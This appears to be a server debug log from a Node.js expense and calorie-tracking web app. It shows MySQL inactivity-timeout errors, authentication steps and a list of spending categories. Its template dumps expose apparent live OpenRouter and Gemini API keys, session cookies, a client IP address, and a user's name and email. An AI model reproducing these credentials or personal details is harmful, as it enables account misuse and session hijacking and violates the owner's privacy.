    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 13:24:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 13:29:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 13:29:14' as DATETIME)"
}
2025-12-19T13:32:23.233Z server-connect:app Executing action step identify
2025-12-19T13:32:23.233Z server-connect:app options: { provider: 'security' }
2025-12-19T13:32:23.233Z server-connect:output identity: 1
2025-12-19T13:32:25.312Z server-connect:app Executing action step identify
2025-12-19T13:32:25.312Z server-connect:app options: { provider: 'security' }
2025-12-19T13:32:25.312Z server-connect:output identity: 1
2025-12-19T13:37:57.232Z server-connect:app Executing action step identify
2025-12-19T13:37:57.232Z server-connect:app options: { provider: 'security' }
2025-12-19T13:37:57.232Z server-connect:output identity: 1
2025-12-19T13:37:59.881Z server-connect:app Executing action step identify
2025-12-19T13:37:59.881Z server-connect:app options: { provider: 'security' }
2025-12-19T13:37:59.881Z server-connect:output identity: 1
2025-12-19T13:45:40.401Z server-connect:app Executing action step identify
2025-12-19T13:45:40.401Z server-connect:app options: { provider: 'security' }
2025-12-19T13:45:40.401Z server-connect:output identity: 1
2025-12-19T13:45:42.176Z server-connect:app Executing action step identify
2025-12-19T13:45:42.176Z server-connect:app options: { provider: 'security' }
2025-12-19T13:45:42.176Z server-connect:output identity: 1
2025-12-19T13:46:32.840Z server-connect:app Executing action step identify
2025-12-19T13:46:32.841Z server-connect:app options: { provider: 'security' }
2025-12-19T13:46:32.841Z server-connect:output identity: 1
2025-12-19T13:46:35.197Z server-connect:app Executing action step identify
2025-12-19T13:46:35.197Z server-connect:app options: { provider: 'security' }
2025-12-19T13:46:35.197Z server-connect:output identity: 1
2025-12-19T13:53:05.224Z server-connect:app Executing action step identify
2025-12-19T13:53:05.224Z server-connect:app options: { provider: 'security' }
2025-12-19T13:53:05.224Z server-connect:output identity: 1
2025-12-19T13:53:08.220Z server-connect:app Executing action step identify
2025-12-19T13:53:08.220Z server-connect:app options: { provider: 'security' }
2025-12-19T13:53:08.220Z server-connect:output identity: 1
2025-12-19T14:05:00.583Z server-connect:app Executing action step identify
2025-12-19T14:05:00.583Z server-connect:app options: { provider: 'security' }
2025-12-19T14:05:00.583Z server-connect:output identity: 1
2025-12-19T14:05:03.233Z server-connect:app Executing action step identify
2025-12-19T14:05:03.233Z server-connect:app options: { provider: 'security' }
2025-12-19T14:05:03.233Z server-connect:output identity: 1
2025-12-19T14:05:53.343Z server-connect:app Executing action step identify
2025-12-19T14:05:53.343Z server-connect:app options: { provider: 'security' }
2025-12-19T14:05:53.343Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 16:11:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 16:11:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 16:34:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 16:34:41' as DATETIME)"
}
2025-12-19T16:41:43.238Z server-connect:router Serving templateView /
2025-12-19T16:41:43.239Z server-connect:app Executing action step identify
2025-12-19T16:41:43.239Z server-connect:app options: { provider: 'security' }
2025-12-19T16:41:43.239Z server-connect:output identity: 1
2025-12-19T16:41:43.239Z server-connect:app Executing action step restrict
2025-12-19T16:41:43.239Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T16:41:43.241Z server-connect:output restrict: undefined
2025-12-19T16:41:43.241Z server-connect:app Executing action step restrict
2025-12-19T16:41:43.241Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T16:41:43.242Z server-connect:output restrict: undefined
2025-12-19T16:41:43.242Z server-connect:router Render template layouts/main
2025-12-19T16:41:43.242Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-19T16:41:44.139Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T16:41:44.140Z server-connect:app Executing action step identify
2025-12-19T16:41:44.140Z server-connect:app options: { provider: 'security' }
2025-12-19T16:41:44.140Z server-connect:output identity: 1
2025-12-19T16:41:44.140Z server-connect:app Executing action step restrict
2025-12-19T16:41:44.140Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T16:41:44.142Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T16:41:44.142Z server-connect:output restrict: undefined
2025-12-19T16:41:44.142Z server-connect:app Executing action step single
2025-12-19T16:41:44.142Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T16:41:44.143Z server-connect:app Executing action step identify
2025-12-19T16:41:44.143Z server-connect:app options: { provider: 'security' }
2025-12-19T16:41:44.143Z server-connect:output identity: 1
2025-12-19T16:41:44.143Z server-connect:app Executing action step restrict
2025-12-19T16:41:44.143Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T16:41:44.143Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T16:41:44.145Z server-connect:output restrict: undefined
2025-12-19T16:41:44.145Z server-connect:app Executing action step select
2025-12-19T16:41:44.145Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T16:41:44.151Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T16:41:53.178Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T16:41:53.178Z server-connect:app Executing action step identify
2025-12-19T16:41:53.178Z server-connect:app options: { provider: 'security' }
2025-12-19T16:41:53.178Z server-connect:output identity: 1
2025-12-19T16:41:53.178Z server-connect:app Executing action step restrict
2025-12-19T16:41:53.178Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T16:41:53.179Z server-connect:output restrict: undefined
2025-12-19T16:41:53.179Z server-connect:router Render template calorie-tracker
2025-12-19T16:41:53.179Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
